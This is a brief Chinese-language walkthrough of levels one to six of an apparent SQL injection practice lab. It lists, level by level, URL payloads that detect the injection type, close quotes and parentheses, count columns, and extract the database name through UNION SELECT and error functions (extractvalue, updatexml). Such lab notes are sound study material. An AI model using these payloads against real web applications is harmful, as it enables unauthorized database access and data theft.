第一关:输入?id=1/1和1/0回显一致 判断为字符型
输入?id=1’报错
输入?id=1’’回显正常 可以使用一个引号进行sql注入
?id=1’ order by 4--+和?id=1’order by 3--+判断出只有三个数字
?id=0’ union select 1,2,3--+判断显示信息
?id=0’ union select 1,database(),3--+
使用报错函数:?id=1’ and extractvalue(1,concat(0x7e,database(),0x7e))--+
数据返回:XPATH syntax error: '~security~'
第二关:输入?id=1/1和?id=1/0发现回显不一致,判断为数字型注入
构造报错函数:?id=1 and extractvalue(1,concat(0x7e,database(),0x7e))--+
第三关:在输入?id=1’发现返回值中出现”1”)判断可能是在函数外有()闭合
输入?id=1’)
构造报错函数:?id=1’) and extractvalue(1,concat(0x7e,database(),0x7e))--+
如果直接复制可能出现这种情况:(‘没有被转译所以手动在重新输入一下’)
/?id=1’)%20and%20extractvalue(1,concat(0x7e,database(),0x7e))--+
第四关:?id=1’和?id=1’’回显全部正常,考虑?id=1”双引号闭合发现存在””)
构造报错函数?id=1") and updatexml(1,concat(0x7e,database(),0x7e),3)--+
第五关:无回显则使用报错函数:
?id=1’ and extractvalue(1,concat(0x7e,database(),0x7e))--+
第六关:将第五关的’改为”即可